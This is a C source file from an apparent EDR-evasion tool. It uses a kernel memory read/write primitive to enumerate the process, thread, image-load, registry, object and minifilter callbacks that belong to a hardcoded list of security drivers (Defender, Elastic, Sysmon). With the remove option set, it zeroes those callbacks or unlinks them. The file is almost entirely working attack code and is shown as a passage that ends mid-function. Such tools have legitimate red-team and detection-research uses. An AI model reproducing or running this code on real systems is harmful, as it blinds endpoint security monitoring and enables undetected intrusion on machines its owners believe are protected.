Files
0xJs c53a0cbb69 Update kernelCallbacks.c
Fix elastic driver name .sys
2025-08-17 20:20:43 +02:00

818 lines
32 KiB
C

#include "common.h"
const char* driverNames[] = {
"WdFilter.sys", "MsSecFlt.sys", "elastic-endpoint-driver.sys", "SysmonDrv.sys"
};
const int numDrivers = sizeof(driverNames) / sizeof(driverNames[0]);
BOOL GetNtoskrnlBaseAddress(OUT LPVOID *pNtoskrnlBase) {
BOOL bSTATE = TRUE;
HMODULE hNTDLL = NULL; // Stores handle to ntdll.dll
NTSTATUS STATUS = NULL; // Stores the NTSTATUS
ULONG uReturn1 = NULL; // Size returned in bytes from NtQuerySystemInformation
ULONG uReturn2 = NULL; // Size returned in bytes from NtQuerySystemInformation
PSYSTEM_MODULE_INFORMATION pModuleInfo = NULL; // SYSTEM_MODULE_INFORMATION struct
// Get handle to ntdll.dll
// https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
hNTDLL = LoadLibraryA("ntdll.dll");
if (!hNTDLL) {
errorWin32("LoadLibraryA - Failed to get handle to ntdll.dll");
bSTATE = FALSE;
goto _cleanUp;
}
info_t("LoadLibraryA - Received handle to ntdll.dll 0x%p", hNTDLL);
// Resolve address of NtQuerySystemInformation
fnNtQuerySystemInformation NtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(hNTDLL, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
errorWin32("GetProcAddress - Failed to address of NtQuerySystemInformation");
bSTATE = FALSE;
goto _cleanUp;
}
info_t("GetProcAddress - Received address to NtQuerySystemInformation 0x%p", NtQuerySystemInformation);
// Get the size of SYSTEM_MODULE_INFORMATION
// https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
STATUS = NtQuerySystemInformation(
SystemModuleInformation, // Returns a SystemModuleInformation stuct
NULL, // Can be null the first time calling
0, // Can be null the first time calling
&uReturn1 // Returned size
);
info_t("NtQuerySystemInformation - Received %lu bytes of SystemModuleInformation", uReturn1);
// Allocate memory for SYSTEM_MODULE_INFORMATION
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(uReturn1);
if (!pModuleInfo) {
error("malloc - Failed to allocate memory");
bSTATE = FALSE;
goto _cleanUp;
}
info_t("Malloc - Allocated %lu bytes of memory at 0x%p", uReturn1, pModuleInfo);
// Query the SYSTEM_MODULE_INFORMATION
// https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
STATUS = NtQuerySystemInformation(
SystemModuleInformation, // Returns a SystemModuleInformation stuct
pModuleInfo, // Pointer to SYSTEM_CODEINTEGRITY_INFORMATION struct
uReturn1, // Size of the SYSTEM_CODEINTEGRITY_INFORMATION struct
&uReturn2 // Returned size
);
if (!NT_SUCCESS(STATUS)) {
errorNT("NtQuerySystemInformation failed", STATUS);
bSTATE = FALSE;
goto _cleanUp;
}
info_t("NtQuerySystemInformation - Received %lu bytes of SystemModuleInformation saved at 0x%p", uReturn2, pModuleInfo);
// The first module in the list is typically ntoskrnl.exe
*pNtoskrnlBase = pModuleInfo->Modules[0].ImageBase;
_cleanUp:
if (pModuleInfo) {
free(pModuleInfo);
}
return bSTATE;
}
// List and sort all kernel drivers, used to check if kernel callback address is in their address space, outputs a pointer to list of kernel drivers, 8 bytes each.
BOOL ListAndSortKernelDrivers(OUT LPVOID* ppDrivers, OUT DWORD* pdwDriverCount) {
BOOL bSTATE = TRUE;
LPVOID* pDrivers = NULL; // Allocated buffer to hold driver base addresses
DWORD cbNeeded = 0; // Bytes needed to hold driver list
DWORD dwCount = 0; // Number of drivers found
LPVOID lpTemp = NULL; // Temporary pointer for sorting
CHAR szDriverName[MAX_PATH] = { 0 }; // Buffer for driver names
// Query the required size
if (!EnumDeviceDrivers(NULL, 0, &cbNeeded)) {
error("EnumDeviceDrivers - Failed to query required buffer size");
bSTATE = FALSE;
goto _cleanUp;
}
// Allocate required memory
pDrivers = (LPVOID*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbNeeded);
if (!pDrivers) {
error("HeapAlloc - Failed to allocate memory for driver list");
bSTATE = FALSE;
goto _cleanUp;
}
// Retrieve driver list
if (!EnumDeviceDrivers(pDrivers, cbNeeded, &cbNeeded)) {
error("EnumDeviceDrivers - Failed to enumerate drivers");
bSTATE = FALSE;
goto _cleanUp;
}
dwCount = cbNeeded / sizeof(LPVOID);
// Detect kernel drivers addresses and sort the list
for (DWORD i = 0; i < dwCount; i++) {
GetDeviceDriverBaseNameA(pDrivers[i], szDriverName, sizeof(szDriverName));
BYTE bFirstByte = ((DWORD64)(pDrivers[i]) >> 56);
if (bFirstByte == 0xFF) {
//info_t("\tDriver[%lu] Base: 0x%p Name: %s", i, pDrivers[i], szDriverName);
for (DWORD j = 0; j < dwCount - 1; j++) {
for (DWORD k = j + 1; k < dwCount; k++) {
if (pDrivers[j] > pDrivers[k]) {
lpTemp = pDrivers[j];
pDrivers[j] = pDrivers[k];
pDrivers[k] = lpTemp;
}
}
}
}
}
//info_t("\nPrinting memory ranges for each kernel driver");
//// Print loaded driver memory ranges
//for (DWORD i = 0; i < dwCount - 1; i++) {
// DWORD64 dwStartAddr = (DWORD64)pDrivers[i]; // Start address of current driver
// DWORD64 dwEndAddr = (DWORD64)pDrivers[i + 1]; // Start address of next driver (marks end of current)
//
// // https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
// CHAR szDriverName[MAX_PATH] = { 0 };
// GetDeviceDriverBaseNameA((LPVOID)dwStartAddr, szDriverName, sizeof(szDriverName));
//
// info_t("\tDriver %03d: %-25s 0x%016llx - 0x%016llx", i, szDriverName, dwStartAddr, dwEndAddr);
//}
*ppDrivers = pDrivers;
*pdwDriverCount = dwCount;
_cleanUp:
if (!bSTATE && pDrivers) {
HeapFree(GetProcessHeap(), 0, pDrivers);
}
return bSTATE;
}
// Checks whether a given driver name matches a known EDR-related driver
BOOL isDriverListed(IN LPSTR lpstrDriverName) {
BOOL bSTATE = FALSE;
for (int i = 0; i < numDrivers; i++) {
// Case-insensitive string comparison
// https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/stricmp-stricmp-l-wcsicmp-wcsicmp-l?view=msvc-170
if (_stricmp(driverNames[i], lpstrDriverName) == 0) {
bSTATE = TRUE;
break;
}
}
return bSTATE;
}
// List or remove kernel callback arrays, used for process, thread and image kernel callbacks
BOOL ListOrRemoveKCArray(IN HANDLE hDevice, IN LPSTR lpstrCallbackType, IN DWORD64 callbackArrayAddress, IN LPVOID pDrivers, IN DWORD dwDriverCount, IN BOOL bRemove) {
BOOL bSTATE = TRUE;
HANDLE hOutput = NULL; // Handle to standard output
PVOID* lpDrivers = NULL; // Pointer to loaded driver base addresses
DWORD64 dwNextAddr = 0; // Current callback address
DWORD64 dwCallbackPtr = 0; // Raw pointer read from callback array
DWORD64 dwCallbackAligned = 0; // Aligned pointer to EX_CALLBACK_ROUTINE_BLOCK
DWORD64 dwCallbackFunc = 0; // Actual function pointer inside the structure
CHAR szDeviceName[MAX_PATH] = { 0 }; // Buffer to hold driver base name
DWORD64 dwDriverBase = 0; // Base address of current driver
// Get handle to standard output
// https://learn.microsoft.com/en-us/windows/console/getstdhandle
hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
if (bRemove) {
info_t("---------- Listing and removing %s Kernel Callbacks ----------", lpstrCallbackType);
}
else {
info_t("---------- Listing %s Kernel Callbacks ----------", lpstrCallbackType);
}
// Assign input driver pointer
lpDrivers = (PVOID*)pDrivers;
// Iterate over the callback array
for (BYTE i = 0; i < PSP_MAX_CALLBACKS; i++) {
// Calc the address of the next callback pointer
dwNextAddr = callbackArrayAddress + i * 0x8;
// Read the pointer from the callback array
dwCallbackPtr = ReadMemoryDWORD64(hDevice, dwNextAddr);
// If pointer is null, then skip
if (dwCallbackPtr == 0) {
//info_t("Slot %02d - Empty (NULL)", i);
continue;
}
// Allign the pointer
dwCallbackAligned = ((dwCallbackPtr >> 4) << 4);
// Read the function pointer from the offset +0x8
dwCallbackFunc = ReadMemoryDWORD64(hDevice, dwCallbackAligned + 0x8);
// Match against known EDR driver names
for (DWORD j = 0; j < dwDriverCount - 1; j++) {
dwDriverBase = (DWORD64)lpDrivers[j];
// Check if function pointer is located within the address range of a known driver module
// Curent driver vs next driver
if (dwCallbackFunc > dwDriverBase && dwCallbackFunc < (DWORD64)lpDrivers[j + 1]) {
// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));
if (isDriverListed(szDeviceName)) {
// If its EDR driver make it red
SetConsoleTextAttribute(hOutput, FOREGROUND_RED);
// Remove (nullify) the callback pointer if remove is selected
if (bRemove == TRUE) {
WriteMemoryDWORD64(hDevice, dwNextAddr, 0x0000000000000000);
}
}
info_t("[%llx]: %llx -> [%s + %llx]", dwNextAddr, dwCallbackFunc, szDeviceName, dwCallbackFunc - dwDriverBase);
// Reset the color
SetConsoleTextAttribute(hOutput, 7);
break;
}
}
}
if (bRemove == TRUE) {
info_t("---------- %s Kernel Callbacks of EDR's zeroed out ----------", lpstrCallbackType);
}
return bSTATE;
}
// List or remove kernel callback double linked list, used for registry
BOOL ListOrRemoveKCRegistryOperations(IN HANDLE hDevice, IN LPSTR lpstrCallbackType, IN DWORD64 dwCallbackListHead, IN LPVOID pDrivers, IN DWORD dwDriverCount, IN BOOL bRemove) {
BOOL bSTATE = TRUE;
HANDLE hOutput = NULL; // Handle to standard output
PVOID* lpDrivers = NULL; // Pointer to loaded driver base addresses
DWORD64 dwCurrentEntry = 0; // Enumerated entry in the double linked list
DWORD64 dwCallbackFunc = 0; // Operation registry callback pointer
CHAR szDeviceName[MAX_PATH] = { 0 }; // Driver base name buffer
DWORD64 dwDriverBase = 0; // Base address of currently matched driver
// https://learn.microsoft.com/en-us/windows/console/getstdhandle
hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
if (bRemove) {
info_t("---------- Listing and removing %s Kernel Callbacks ----------", lpstrCallbackType);
}
else {
info_t("---------- Listing %s Kernel Callbacks ----------", lpstrCallbackType);
}
lpDrivers = (PVOID*)pDrivers;
// Read the FLINK from the head
dwCurrentEntry = ReadMemoryDWORD64(hDevice, dwCallbackListHead);
while (dwCurrentEntry != dwCallbackListHead && dwCurrentEntry != 0) {
// Read callback pointer
dwCallbackFunc = ReadMemoryDWORD64(hDevice, dwCurrentEntry + 0x28); // Operation callback
// Match PRE and POST callback to known drivers
for (DWORD j = 0; j < dwDriverCount - 1; j++) {
dwDriverBase = (DWORD64)lpDrivers[j];
// Check if PRE callback lies within known driver memory range
if (dwCallbackFunc > dwDriverBase && dwCallbackFunc < (DWORD64)lpDrivers[j + 1]) {
// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));
if (isDriverListed(szDeviceName)) {
SetConsoleTextAttribute(hOutput, FOREGROUND_RED);
// Cant overwrite these values due to patchguard
//if (bRemove == TRUE) {
// WriteMemoryDWORD64(hDevice, dwCurrentEntry + 0x20, 0x0000000000000000);
//}
}
info_t("[%llx]: %llx -> [%s + %llx]", dwCurrentEntry, dwCallbackFunc, szDeviceName, dwCallbackFunc - dwDriverBase);
SetConsoleTextAttribute(hOutput, 7);
break;
}
}
// Move to next LIST_ENTRY
dwCurrentEntry = ReadMemoryDWORD64(hDevice, dwCurrentEntry);
}
// Make the flink and blink point to dwCallbackListHead (itself)
if (bRemove == TRUE) {
// Flink
WriteMemoryDWORD64(hDevice, dwCallbackListHead, dwCallbackListHead);
// Blink
WriteMemoryDWORD64(hDevice, dwCallbackListHead + 0x8, dwCallbackListHead);
info_t("---------- %s Kernel Callbacks delinked list ----------", lpstrCallbackType);
}
return bSTATE;
}
// List or remove kernel callback double linked list, used for object operations
BOOL ListOrRemoveKCObjectOperations(IN HANDLE hDevice, IN LPSTR lpstrCallbackType, IN DWORD64 dwAddress, IN LPVOID pDrivers, IN DWORD dwDriverCount, IN BOOL bRemove) {
BOOL bSTATE = TRUE;
HANDLE hOutput = NULL; // Handle to standard output
PVOID* lpDrivers = NULL; // Pointer to loaded driver base addresses
DWORD64 dwObjectType = 0; // Pointer to the object type
DWORD64 dwListHead = 0; // Stores the listhead
DWORD64 dwCurrentEntry = 0; // Enumerated entry in the double linked list
DWORD64 dwPreCallbackFunc = 0; // Pre-operation registry callback pointer
DWORD64 dwPostCallbackFunc = 0; // Post-operation registry callback pointer
CHAR szDeviceName[MAX_PATH] = { 0 }; // Driver base name buffer
DWORD64 dwDriverBase = 0; // Base address of currently matched driver
BOOL bPreMatched = FALSE; // Matched PRE callback with a known driver
BOOL bPostMatched = FALSE; // Matched POST callback with a known driver
// https://learn.microsoft.com/en-us/windows/console/getstdhandle
hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
if (bRemove) {
info_t("---------- Listing and removing %s Kernel Callbacks ----------", lpstrCallbackType);
}
else {
info_t("---------- Listing %s Kernel Callbacks ----------", lpstrCallbackType);
}
lpDrivers = (PVOID*)pDrivers;
// Read memory at PsProcessType (or thread)
dwObjectType = ReadMemoryDWORD64(hDevice, dwAddress);
// Address of the actual list head
dwListHead = dwObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
// Read the FLINK from the head
dwCurrentEntry = ReadMemoryDWORD64(hDevice, dwListHead);
while (dwCurrentEntry != dwListHead && dwCurrentEntry != 0) {
// Read both callback function pointers (0x28 and 0x30 for W11) Might be 0x20 and 0x28 for older versions
dwPreCallbackFunc = ReadMemoryDWORD64(hDevice, dwCurrentEntry + 0x28); // Pre-operation callback
dwPostCallbackFunc = ReadMemoryDWORD64(hDevice, dwCurrentEntry + 0x30); // Post-operation callback
info_t("Callback Entry %llx", dwCurrentEntry);
// Reset matched flags
bPreMatched = FALSE;
bPostMatched = FALSE;
// Match PRE and POST callback to known drivers
for (DWORD j = 0; j < dwDriverCount - 1; j++) {
dwDriverBase = (DWORD64)lpDrivers[j];
// Check if PRE callback lies within known driver memory range
if (dwPreCallbackFunc > dwDriverBase && dwPreCallbackFunc < (DWORD64)lpDrivers[j + 1]) {
// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));
if (isDriverListed(szDeviceName)) {
SetConsoleTextAttribute(hOutput, FOREGROUND_RED);
// Cant overwrite these values due to patchguard
//if (bRemove == TRUE) {
// WriteMemoryDWORD64(hDevice, dwCurrentEntry + 0x20, 0x0000000000000000);
//}
}
info_t("\t[PRE] %llx -> [%s + %llx]", dwPreCallbackFunc, szDeviceName, dwPreCallbackFunc - dwDriverBase);
SetConsoleTextAttribute(hOutput, 7);
bPreMatched = TRUE;
break;
}
}
// Print unresolved PRE if not in known kernel module
if (!bPreMatched) {
info_t("\t[PRE] %llx", dwPreCallbackFunc);
}
for (DWORD j = 0; j < dwDriverCount - 1; j++) {
dwDriverBase = (DWORD64)lpDrivers[j];
// Check if POST callback lies within known driver memory range
if (dwPostCallbackFunc > dwDriverBase && dwPostCallbackFunc < (DWORD64)lpDrivers[j + 1]) {
// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));
if (isDriverListed(szDeviceName)) {
SetConsoleTextAttribute(hOutput, FOREGROUND_RED);
// Cant overwrite these values due to patchguard
//if (bRemove == TRUE) {
//WriteMemoryDWORD64(hDevice, dwCurrentEntry + 0x28, 0x0000000000000000);
//}
}
info_t("\t[POST] %llx -> [%s + %llx]", dwPostCallbackFunc, szDeviceName, dwPostCallbackFunc - dwDriverBase);
SetConsoleTextAttribute(hOutput, 7);
bPostMatched = TRUE;
break;
}
}
// Print unresolved POST if not in known kernel module
if (!bPostMatched) {
info_t("\t[POST] %llx", dwPostCallbackFunc);
}
// Move to next LIST_ENTRY
dwCurrentEntry = ReadMemoryDWORD64(hDevice, dwCurrentEntry);
}
// Make the flink and blink point to dwListHead (itself)
if (bRemove == TRUE) {
// Flink
WriteMemoryDWORD64(hDevice, dwListHead, dwListHead);
// Blink
WriteMemoryDWORD64(hDevice, dwListHead + 0x8, dwListHead);
info_t("---------- %s Kernel Callbacks delinked list ----------", lpstrCallbackType);
}
return bSTATE;
}
// List or remove kernel callback double linked list, used for object operations
BOOL ListOrRemoveMiniFiltersCallbacks(IN HANDLE hDevice, IN LPSTR lpstrCallbackType, IN DWORD64 dwAddress, IN LPVOID pDrivers, IN DWORD dwDriverCount, IN BOOL bRemove) {
BOOL bSTATE = TRUE;
HANDLE hOutput = NULL; // Handle to standard output
PVOID* lpDrivers = NULL; // Pointer to loaded driver base addresses
CHAR szDeviceName[MAX_PATH] = { 0 }; // Driver base name buffer
DWORD64 dwDriverBase = 0; // Base address of currently matched driver
// https://learn.microsoft.com/en-us/windows/console/getstdhandle
hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
if (bRemove) {
info_t("---------- Listing and removing %s Kernel Callbacks ----------", lpstrCallbackType);
}
else {
info_t("---------- Listing %s Kernel Callbacks ----------", lpstrCallbackType);
}
lpDrivers = (PVOID*)pDrivers;
// Address of the FrameList LIST_ENTRY (rList) inside _FLT_RESOURCE_LIST_HEAD (FrameList) in the _GLOBALS struct
// x fltmgr!FltGlobals
// dt fltmgr!_GLOBALS fffff807`65c6d7c0
// +0x058 FrameList : _FLT_RESOURCE_LIST_HEAD
// dt fltmgr!_FLT_RESOURCE_LIST_HEAD fffff807`65c6d7c0+0x058
// +0x068 rList : _LIST_ENTRY [ 0xffffca04`cd54e018 - 0xffffca04`cd54e018 ]
// dt fltmgr!_LIST_ENTRY fffff807`65c6d7c0+0x058+0x68
// +0x000 Flink : 0xffffca04`cd54e018 _LIST_ENTRY[0xfffff807`65c6d880 - 0xfffff807`65c6d880]
DWORD64 dwFrameListHead = dwAddress + g_fltMgrOffsets.st._GLOBALS_FrameList + g_fltMgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
//printf("[DEBUG] dwFrameListHead %llx\n", dwFrameListHead);
// Read the flink from the head
// dps 0xfffff807`65c6d880 L1
// fffff807`65c6d880 ffffca04`cd54e018
DWORD64 dwCurrentFrameEntry = ReadMemoryDWORD64(hDevice, dwFrameListHead);
//printf("[DEBUG] dwCurrentFrameEntry %llx\n", dwCurrentFrameEntry);
// Loop over all instances (disks)
while (dwCurrentFrameEntry != dwFrameListHead && dwCurrentFrameEntry != 0) {
// Get the base address of the current frame
// dt fltmgr!_FLTP_FRAME Links
// +0x008 Links : _LIST_ENTRY
// dt fltmgr!_FLTP_FRAME ffffca04`cd54e018-0x008
DWORD64 dwCurrentFrameBase = dwCurrentFrameEntry - g_fltMgrOffsets.st._FLTP_FRAME_Links;
info_t("\t_FLTP_FRAME: %016llx", dwCurrentFrameBase);
// Enumerate the filters in this frame
// dt fltmgr!_FLTP_FRAME ffffca04`cd54e018-0x008
// +0x048 RegisteredFilters : _FLT_RESOURCE_LIST_HEAD
// dt fltmgr!_FLT_RESOURCE_LIST_HEAD ffffca04`cd54e018-0x008+0x048
// +0x068 rList : _LIST_ENTRY [ 0xffffca04`d269d020 - 0xffffca04`cd55e8b0 ]
DWORD64 dwFilterListHead = dwCurrentFrameBase + g_fltMgrOffsets.st._FLTP_FRAME_RegisteredFilters + g_fltMgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
//printf("[DEBUG] dwFilterListHead %llx\n", dwFilterListHead);
// Read the flink from the head
// dps ffffca04`cd54e018-0x008+0x048+0x068 L1
// fffca04`cd54e0c0 ffffca04`d269d020
DWORD64 dwCurrentFilterEntry = ReadMemoryDWORD64(hDevice, dwFilterListHead);
//printf("[DEBUG] dwCurrentFilterEntry %llx\n", dwCurrentFilterEntry);
// Loop over all the filters
while (dwCurrentFilterEntry != dwFilterListHead && dwCurrentFilterEntry != 0) {
// Get the current filter base address
// dt fltmgr!_FLT_OBJECT PrimaryLink
// + 0x010 PrimaryLink : _LIST_ENTRY
// dt fltmgr!_FLT_FILTER ffffca04`d269d020-0x010
DWORD64 dwCurrentFilterBase = dwCurrentFilterEntry - g_fltMgrOffsets.st._FLT_OBJECT_PrimaryLink;
//printf("[DEBUG] dwCurrentFilterBase %llx\n", dwCurrentFilterBase);
// _FLT_FILTER->DriverObject and DriverInit
// dt fltmgr!_FLT_FILTER ffffca04`d269d020-0x010
// +0x068 DriverObject : 0xffffca04`d0a74c70 _DRIVER_OBJECT
// dps ffffca04`d269d020-0x010+0x068 L1
// ffffca04`d269d078 ffffca04`d0a74c70
DWORD64 dwDriverObject = ReadMemoryDWORD64(hDevice, dwCurrentFilterBase + g_fltMgrOffsets.st._FLT_FILTER_DriverObject);
//printf("[DEBUG] dwDriverObject %llx\n", dwDriverObject);
// dt fltmgr!_DRIVER_OBJECT DriverInit
// +0x058 DriverInit : Ptr64 long
// dt fltmgr!_DRIVER_OBJECT ffffca04`d0a74c70+0x058
// dps ffffca04`d0a74c70+0x058 L1
DWORD64 dwDriverInit = ReadMemoryDWORD64(hDevice, dwDriverObject + g_fltMgrOffsets.st._DRIVER_OBJECT_DriverInit);
//printf("[DEBUG] dwDriverInit %llx\n", dwDriverInit);
BOOL bEDRDriver = FALSE;
for (DWORD j = 0; j < dwDriverCount - 1; j++) {
dwDriverBase = (DWORD64)lpDrivers[j];
// Check if dwDriverInit lies within known driver memory range
if (dwDriverInit > dwDriverBase && dwDriverInit < (DWORD64)lpDrivers[j + 1]) {
// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));
if (isDriverListed(szDeviceName)) {
SetConsoleTextAttribute(hOutput, FOREGROUND_RED);
bEDRDriver = TRUE;
}
info_t("\t\t_FLT_FILTER: %016llx [%s + 0x%llx]", dwCurrentFilterBase, szDeviceName, dwDriverInit - dwDriverBase);
SetConsoleTextAttribute(hOutput, 7);
break;
}
}
// If the driver is EDR related enumerate all the instances
if(bEDRDriver == TRUE) {
// Enumerate the instances in this filter
// dt fltmgr!_FLT_FILTER InstanceList
// +0x070 InstanceList : _FLT_RESOURCE_LIST_HEAD
// dt fltmgr!_FLT_RESOURCE_LIST_HEAD rList
// +0x068 rList : _LIST_ENTRY
DWORD64 dwInstanceListHead = dwCurrentFilterBase + g_fltMgrOffsets.st._FLT_FILTER_InstanceList + g_fltMgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
//printf("[DEBUG] dwInstanceListHead %llx\n", dwInstanceListHead);
// Get the current entry
// dps ffffca04cd56a560+0x070+0x068 L1
// ffffca04`cd56a638 ffffca04`cd842918
DWORD64 dwCurrentInstanceEntry = ReadMemoryDWORD64(hDevice, dwInstanceListHead);
//printf("[DEBUG] dwCurrentInstanceEntry %llx\n", dwCurrentInstanceEntry);
// Loop over all the instances
while (dwCurrentInstanceEntry != dwInstanceListHead && dwCurrentInstanceEntry != 0) {
// Get the current instance base
// dt fltmgr!_FLT_INSTANCE Filterlink
// +0x078 FilterLink : _LIST_ENTRY
// ffffca04`cd842918 - 0x078 = ffffca04cd8428a0
DWORD64 dwCurrentInstanceBase = dwCurrentInstanceEntry - g_fltMgrOffsets.st._FLT_INSTANCE_FilterLink;
info_t("\t\t\t_FLT_INSTANCE: %016llx", dwCurrentInstanceBase);
// Get the callback nodes
// dt fltmgr!_FLT_INSTANCE CallbackNodes
// +0x130 CallbackNodes : [50] Ptr64 _CALLBACK_NODE
// ffffca04cd8428a0 + 0x130 = ffffca04cd8429d0
DWORD64 dwCallbackNodesArray = dwCurrentInstanceBase + g_fltMgrOffsets.st._FLT_INSTANCE_CallbackNodes;
//printf("[DEBUG] dwCallbackNodesArray %llx\n", dwCallbackNodesArray);
DWORD dwNodesFound = 0;
for (int k = 0; k < 50; k++) {
// Read the callbacknode pointer
DWORD64 dwCallbackNode = ReadMemoryDWORD64(hDevice, dwCallbackNodesArray + (k * sizeof(PVOID)));
if (dwCallbackNode == 0) {
continue;
}
// Heuristic: ensure this node is still linked (sanity check)
// Blink->Flink == this && Flink->Blink == this
DWORD64 dwPrev = ReadMemoryDWORD64(hDevice, dwCallbackNode + offsetof(LIST_ENTRY, Blink));
DWORD64 dwPrevNext = (dwPrev ? ReadMemoryDWORD64(hDevice, dwPrev + offsetof(LIST_ENTRY, Flink)) : 0);
DWORD64 dwNext = ReadMemoryDWORD64(hDevice, dwCallbackNode + offsetof(LIST_ENTRY, Flink));
DWORD64 dwNextPrev = (dwNext ? ReadMemoryDWORD64(hDevice, dwNext + offsetof(LIST_ENTRY, Blink)) : 0);
if (dwPrevNext != dwCallbackNode && dwNextPrev != dwCallbackNode) {
info_t("\t\t\t\tCallbackNodes unlinked");
continue; // looks unlinked; skip noisy artifacts
}
if (bRemove == TRUE) {
// Change the Flink and Blink
WriteMemoryDWORD64(hDevice, dwPrev + offsetof(LIST_ENTRY, Flink), dwNext);
WriteMemoryDWORD64(hDevice, dwNext + offsetof(LIST_ENTRY, Blink), dwPrev);
}
dwNodesFound++;
}
if (dwNodesFound == 0) {
info_t("\t\t\t\tCallbackNodes not found");
}
else if (dwNodesFound != 0 && bRemove == TRUE) {
info_t("\t\t\t\tCallbackNodes: %d found and delinked", dwNodesFound);
}
else {
info_t("\t\t\t\tCallbackNodes: %d found", dwNodesFound);
}
// Move to the next LIST_ENTRY of instances
dwCurrentInstanceEntry = ReadMemoryDWORD64(hDevice, dwCurrentInstanceEntry);
}
} // END of if EDR statement
// Move to next LIST_ENTRY of filters
dwCurrentFilterEntry = ReadMemoryDWORD64(hDevice, dwCurrentFilterEntry);
}
// Move to next LIST_ENTRY of frames
dwCurrentFrameEntry = ReadMemoryDWORD64(hDevice, dwCurrentFrameEntry);
}
if (bRemove == TRUE) {
info_t("---------- %s Kernel Callbacks delinked CallbackNodes list ----------", lpstrCallbackType);
}
return bSTATE;
}
// Lists and or removes all kernel callbacks
BOOL ListOrRemoveKernelCallbacks(IN BOOL bRemove) {
BOOL bSTATE = TRUE;
DWORD64 dwNtoskrnlBaseAddress = 0; // Stores base address of ntoskrnl.exe
DWORD64 dwfltMgrBaseAddress = 0; // Stores base address of fltMgr.sys
HANDLE hDevice = NULL; // Saves handle to the device driver
DWORD64 dwPspCreateProcessNotifyRoutineArray = 0; // Base address of PspCreateProcessNotifyRoutineArray
DWORD64 dwPspCreateThreadNotifyRoutineArray = 0; // Base address of dwPspCreateThreadNotifyRoutineArray
DWORD64 dwPspLoadImageNotifyRoutineArray = 0; // Base address of dwPspLoadImageNotifyRoutineArray
DWORD64 dwCallbackListHead = 0; // Base address of dwCallbackListHead
DWORD64 dwPsProcessType = 0; // Base address of dwPsProcessType
DWORD64 dwPsThreadType = 0; // Base address of dwPsThreadType
DWORD64 dwFltGlobals = 0; // Base address of FltGlobals
LPVOID pDrivers = NULL; // Output buffer with sorted drivers
DWORD dwDriverCount = 0; // Driver count
// Get base address of ntoskrnl.exe
if (!GetNtoskrnlBaseAddress(&dwNtoskrnlBaseAddress)){
error("GetNtoskrnlBaseAddress - Failed to get base address of \"ntoskrnl.exe\"");
bSTATE = FALSE;
goto _cleanUp;
}
info_t("GetNtoskrnlBaseAddress - ntoskrnl address: %llx", dwNtoskrnlBaseAddress);
// Get base address of sysMgtr.sys
dwfltMgrBaseAddress = GetfltMgrBaseAddress();
if (!dwfltMgrBaseAddress) {
error("FindfltMgrBaseAddress - Failed to get base address of \"ci.dll\"");
bSTATE = FALSE;
goto _cleanUp;
}
info_t("FindfltMgrBaseAddress - fltMgr.sys base address: 0x%p", dwfltMgrBaseAddress);
// Calculate addresses and offsets
dwPspCreateProcessNotifyRoutineArray = dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine;
dwPspCreateThreadNotifyRoutineArray = dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine;
dwPspLoadImageNotifyRoutineArray = dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine;
dwCallbackListHead = dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.CallbackListHead;
dwPsProcessType = dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.psProcessType;
dwPsThreadType = dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.psThreadType;
dwFltGlobals = dwfltMgrBaseAddress + g_fltMgrOffsets.st.FltGlobals;
// Print the base addresses of kernel callbacks
printf("\n");
info_t("------------- Address and offset overview -------------")
info_t("PspCreateProcessNotifyRoutineArray address: 0x%llx", dwPspCreateProcessNotifyRoutineArray);
info_t("PspCreateThreadNotifyRoutineArray address: 0x%llx", dwPspCreateThreadNotifyRoutineArray);
info_t("PspLoadImageNotifyRoutineArray address: 0x%llx", dwPspLoadImageNotifyRoutineArray);
info_t("CallbackListHead address: 0x%llx", dwCallbackListHead);
info_t("PsProcessType address: 0x%llx", dwPsProcessType);
info_t("PsThreadType address: 0x%llx", dwPsThreadType);
info_t("_OBJECT_TYPE.Callbacklist offset: 0x%llx", g_ntoskrnlOffsets.st.object_type_callbacklist);
info_t("FltGlobals address addres: 0x%llx", dwFltGlobals);
info_t("_GLOBALS.FrameList offset: 0x%llx", g_fltMgrOffsets.st._GLOBALS_FrameList);
